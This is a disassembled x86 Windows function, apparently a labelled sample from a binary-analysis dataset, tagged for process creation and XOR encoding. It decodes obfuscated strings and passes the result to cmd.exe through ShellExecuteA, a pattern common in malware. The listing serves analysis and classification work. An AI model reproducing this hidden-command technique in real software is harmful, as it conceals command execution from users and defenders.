Function at 0x1017bea0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1022cc7d
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x2168
call fcn.10229ed0
mov eax, dword [0x106c15c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x1036dc27], 0
je 0x1017c3e8
movaps xmm6, xmmword [0x1022fa10]
lea edi, [ebp - 0x2170]
mov ecx, 0x3f
mov esi, str._WGG_
rep movsd dword es:[edi], dword [esi]
mov esi, dword [0x106c5e68]
xor ecx, ecx
cmp esi, 2
jl 0x1017c040
movaps xmm0, xmmword [str.1111111111111111_]
movaps xmm4, xmmword [0x1022fa00]
movaps xmm3, xmmword [0x10264270]
movaps xmm5, xmmword [0x10264250]
movaps xmmword [ebp - 0x2070], xmm0
mov edx, dword [ebp - 0x2070]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x2170]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x2170], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x216c]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x216c], xmm2
add ecx, 8
cmp ecx, 0xf8
jl 0x1017bf50
cmp ecx, 0xfc
jge 0x1017c06d
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
imul eax, eax, 0x37
sub dl, al
add dl, 0x31
xor byte [ebp + ecx - 0x2170], dl
inc ecx
cmp ecx, 0xfc
jl 0x1017c040
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x2170]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1017c090
sub ecx, edx
lea eax, [ebp - 0x2170]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.100038f0
mov ecx, dword [ebp - 0x1c]
mov eax, accept
sub eax, ecx
mov dword [ebp - 4], 0
cmp eax, 3
jb 0x1017c406
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push ecx
cmova eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x2070]
push eax
push 3
push 0x10263af0
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x2044]
call fcn.10004290
cmp dword [ebp - 0x205c], 0xf
lea eax, [ebp - 0x2070]
push 0
cmova eax, dword [ebp - 0x2070]
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0x205c]
cmp ecx, 0xf
jbe 0x1017c153
mov edx, dword [ebp - 0x2070]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1017c149
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1017c149
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.102294a5
add esp, 8
push 0x1388
push dword [0x1036d0bc]
lea ecx, [ebp - 0x2040]
call fcn.10035110
mov eax, dword [0x1029b8b4]
xor edx, edx
mov dword [ebp - 0x2060], eax
mov ax, word [0x1029b8b8]
mov word [ebp - 0x205c], ax
mov al, byte [0x1029b8ba]
mov byte [ebp - 0x205a], al
mov dword [ebp - 0x2044], edx
nop dword [eax]
nop dword [eax + eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x2044]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2044]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x2060], cl
inc edx
mov dword [ebp - 0x2044], edx
cmp edx, 7
jl 0x1017c1a0
lea eax, [ebp - 0x2060]
push eax
lea eax, [ebp - 0x2040]
push eax
call fcn.1017c810
mov eax, dword [0x1029b8c4]
add esp, 8
cmp byte [0x1029b8c9], 0
movq xmm0, qword [str.xA_U_R]
mov dword [ebp - 0x2060], eax
mov ax, word [0x1029b8c8]
movq qword [ebp - 0x2068], xmm0
mov word [ebp - 0x205c], ax
je 0x1017c35b
xor edx, edx
mov dword [ebp - 0x2044], edx
cmp esi, 2
jl 0x1017c325
movaps xmm3, xmmword [0x1022fa00]
mov edx, 8
movaps xmm4, xmmword [0x10264270]
movaps xmm1, xmm3
mov eax, dword [str.1111111111111111_]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
movaps xmm2, xmmword [0x10264240]
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
mov dword [ebp - 0x2044], edx
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm2
pmulld xmm0, xmmword [0x10264250]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmmword [0x1022fa10]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.xA_U_R]
xorps xmm3, xmm0
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movd dword [ebp - 0x2068], xmm3
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10264250]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x1022fa10]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp - 0x2064]
xorps xmm2, xmm0
movd dword [ebp - 0x2064], xmm2
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x2044]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x2068], cl
inc edx
mov dword [ebp - 0x2044], edx
cmp edx, 0xe
jl 0x1017c325
lea eax, [ebp - 0x2068]
push eax
lea eax, [ebp - 0x2040]
push eax
call fcn.1017c7d0
mov eax, dword [0x106c3a2c]
lea ecx, [ebp - 0x2040]
add esp, 8
cmp eax, dword [0x106c3a30]
je 0x1017c39f
push 0x2010
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add dword [0x106c3a2c], 0x2010
jmp 0x1017c3ab
push ecx
push eax
mov ecx, 0x106c3a28
call fcn.10034950
mov ecx, dword [ebp - 0x18]
mov byte [0x1036dc27], 0
cmp ecx, 0xf
jbe 0x1017c3e8
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1017c3de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1017c3de
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.102294a5
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10229364
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.10004e10
int3